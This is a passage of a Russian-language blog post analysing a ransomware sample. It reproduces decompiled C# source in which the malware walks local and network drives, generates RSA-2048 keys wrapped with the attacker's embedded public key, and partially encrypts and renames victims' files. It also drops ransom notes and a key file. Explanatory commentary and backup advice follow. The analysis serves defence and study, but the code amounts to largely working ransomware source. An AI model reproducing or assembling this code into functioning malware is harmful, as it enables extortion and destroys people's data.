                    string[] strArray = Encoding.GetEncoding("CP866").GetString(bytes).Split(separator);
                    for (int j = 0; j < strArray.Length; j++)
                    {
                        if (strArray[j].IndexOf("Диск") > -1)
                        {
                            this.FullList.Add(list[num5] + @"" + strArray[j].Substring(0, strArray[j].IndexOf("Диск")));
                        }
                    }
                }
                catch
                {
                }
                num5++;
            }
///   Создание криптопровайдера для шифрования...RSA 2048
            RSACryptoServiceProvider provider = new RSACryptoServiceProvider(0x800);
            this.publicKey = provider.ToXmlString(false); // Только публичный ключ в XML
            this.privateKey = this.CryptKey(provider.ToXmlString(true)); //Публичный и приватный ключи в зашифрованном виде...
        }

///// Сохранение файла ключей для расшифровки в файл ssda.far
        private void SaveKey(string f, string k)
        {
            string str = this.keyfile.Substring(0, this.keyfile.Length - 4);
            if (!File.Exists(f + @"" + this.keyfile))
            {
                try
                {
                    File.WriteAllText(f + @"" + this.keyfile, k);
                }
                catch
                {
                }
            }
            else
            {
                try
                {
                    File.WriteAllText(string.Concat(new object[] { f, @"", str, this.AmountFiles(f), ".", this.kfExt }), k);
                }
                catch
                {
                }
            }
        }
///// Сохранение файлов картинки и файла ключей на рабочем столе и в папке пользователя
        private void SaveNotes()
        {
            List<string> list = new List<string> {  // создаем список с папками
                Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory), // рабочий стол
                Environment.GetFolderPath(Environment.SpecialFolder.Personal) // папка юзера
            };
            for (int i = 0; i < list.Count; i++) // в двух местах
            {
                this.SaveKey(list[i], this.privateKey); // сохраняем ключи в файл ssda.far
                this.AddNote(list[i]); // сохраняем картинку с требованием выкупа
            }
        }
    
///// получение директорий
        private void GetDirs(DirectoryInfo pth)
        {
            try
            {
                DirectoryInfo[] directories = pth.GetDirectories();
                foreach (DirectoryInfo info in directories)
                {
                    this.GetFiles(info);
                    this.GetDirs(info);
                }
            }
            catch
            {
            }
        }
///// Получение списка локальных и сетевых дисков 
        private void GetDrives()
        {
            try
            {
                string[] logicalDrives = Environment.GetLogicalDrives();
                for (int i = 0; i < logicalDrives.Length; i++)
                {
                    DriveInfo info = new DriveInfo(logicalDrives[i]);
                    if ((info.DriveType == DriveType.Fixed) || (info.DriveType == DriveType.Network))
                    {
                        this.GetDirs(info.RootDirectory);
                    }
                }
            }
            catch
            {
            }
        }
////  Получение файлов из папок и шифрование... 
        private void GetFiles(DirectoryInfo folder)
        {
            try
            {
                string[] files = Directory.GetFiles(folder.FullName, "*.*");
                foreach (string str in files)
                {
                    foreach (string str2 in this.extensions) // выбор по расширению
                    {
                        if ((str.ToLower().IndexOf(str2) > -1) && (str.ToLower().IndexOf(str2 + ".") == -1))
                        {
                            string str3 = str;
                            if (str.IndexOf(this.vNF) == -1)
                            {
                                this.CF(str3);  /// шифрование файла...
                            }
                        }
                    }
                }
            }
            catch
            {
            }
        }
    }
}

Заострим внимание на основных функциях, чтобы понять алгоритм:
После инициализации и создания невидимого окна, попадаем в функцию init()

        private void Init()
        {
            this.Prep();
            this.SaveNotes();
            this.GetDrives();
            this.NetScan();
            this.SetDesktopWallpaper();
        }

Prep() — инициализирует переменные, расшифровывает строки, создает криптопровайдеры, удаляет теневые копии файлов.

В конце функции самое интересное:

            RSACryptoServiceProvider provider = new RSACryptoServiceProvider(0x800);
            this.publicKey = provider.ToXmlString(false);
            this.privateKey = this.CryptKey(provider.ToXmlString(true));

Создается класс RSACryptoServiceProvider с длинной ключа 2048. При создании класса создаются рандомные значения ключей шифрования. Публичный ключ сохраняется в переменной this.publicKey, а в переменную this.privateKey помещаются публичный и приватный ключи, но зашифрованные публичным ключем который хранится в переменной this.pbK, что видно в функции CryptKey(string s).

Публичный ключ:

<RSAKeyValue <Modulus>+fFYiO9CH9iZwwzlsQ3X+qZ7Uyx290OhZ1WvLt6cmDd5oRsLoHLnoGws1CWFMOGFjtbaROSkTg3W+72/TjzHkuPp2W/RC7FBC4JpgguCi4x4ye4HEwRkQ75tHhig08hRKm1a7wlwYl8zLAzM8AwTPLh770MOzPqF1fJMKZCAtdUgIKdYNAkrP18sRbshkGNjwjMhMLNbKTaYfo3qIS4vtVUQtcw+g9ys3ZFZetKEl0ZMJEp4X7b4HK9vqUohPBYfBszXY6ion5m5tSSfhJK6OX2HPaU6RDcajTeEcmk9it9x73drJleZ1G+tVgL6duLX/uOWPVyi0rhyvYmRrGNcIQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>

Функция CryptKey()

private string CryptKey(string s)
        {
            string str = "";
            byte[] array = new byte[s.Length];
            byte[] destinationArray = new byte[this.blocksize];
            byte[] bytes = new byte[this.blocksize + 11];
            double num = Math.Ceiling((double) (((double) s.Length) / ((double) this.blocksize)));
            if (s.Length < (num * this.blocksize))
            {
                int length = s.Length;
                for (int i = 0; i < ((num * this.blocksize) - length); i++)
                {
                    s = s + " ";
                }
            }
            array = Encoding.Default.GetBytes(s);
            Array.Reverse(array);
            try
            {
                RSACryptoServiceProvider provider = new RSACryptoServiceProvider(0x800);
                provider.FromXmlString(this.pbK);
                for (int j = 0; j < num; j++)
                {
                    Array.Copy(array, j * this.blocksize, destinationArray, 0, this.blocksize);
                    bytes = provider.Encrypt(destinationArray, false);
                    str = str + Encoding.Default.GetString(bytes);
                }
            }
            catch
            {
            }
            return str;
        }

Процедура SaveNotes() сохраняет зашифрованные ключи в файл «ssda.far» — этот файл нужно послать злоумышленнику, он его расшифровывает с помощью приватного ключа, который есть только у него. Имея приватный ключ можно легко расшифровать файлы.
Процедура GetDrives() и NetScan() — получает список директорий.

Процедура SetDesktopWallpaper() — по идее должна менять фоновый рисунок на рабочем столе, но не работает. В результате заражения фоновый рисунок не поменялся.

Если посмотреть на процедуру непосредственно шифрования, то можно увидеть что шифруется не весь файл, а делается только 3 итерации по 512 байт. Если в файле есть важная информация, и файл большой, то возможно есть шанс восстановить часть файла. Маленькие файлы не шифруются и не меняется расширение.

Процедура шифрования файла

private void CF(string f1)
        {
            byte[] destinationArray = new byte[this.blocksize];
            try
            {
                byte[] sourceArray = File.ReadAllBytes(f1);
                if ((sourceArray.Length / (this.repeatCount + 5)) >= this.blocksize)
                {
                    RSACryptoServiceProvider provider = new RSACryptoServiceProvider(0x800);
                    provider.FromXmlString(this.publicKey);
                    byte[] buffer3 = new byte[sourceArray.Length + (this.repeatCount * 11)];
                    byte[] buffer4 = new byte[sourceArray.Length - (this.repeatCount * this.blocksize)];
                    for (int i = 0; i < this.repeatCount; i++)
                    {
                        Array.Copy(sourceArray, this.blocksize * i, destinationArray, 0, this.blocksize);
                        byte[] buffer5 = provider.Encrypt(destinationArray, false);
                        Array.Copy(buffer5, 0, buffer3, i * (this.blocksize + 11), buffer5.Length);
                    }
                    Array.Copy(sourceArray, this.repeatCount * this.blocksize, buffer4, 0, buffer4.Length);
                    Array.Copy(buffer4, 0, buffer3, this.repeatCount * (this.blocksize + 11), buffer4.Length);
                    try
                    {
                        File.WriteAllBytes(f1, buffer3);
                        File.Move(f1, f1 + this.keyCode);
                    }
                    catch
                    {
                    }
                }
            }
            catch
            {
            }
        }

Расширение зашифрованных файлов — рандомное значение, и видимо нужно для последующей расшифровки по маске, и чтобы отличить зараженные машины одну от другой.

Выводы

К сожалению без приватного ключа расшифровать файлы, практически невозможно. Обязательно делать копии важной информации, на внешнем носителе, который необходимо отключать от компьютера.

З.Ы. Извиняюсь за довольно спонтанный анализ. Решил написать данный пост, может кому пригодится. Я думаю приведенный исходный код поможет более ясно увидеть всю работу зловредной программы.

Автор: Сергей Брызгалов

Источник

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js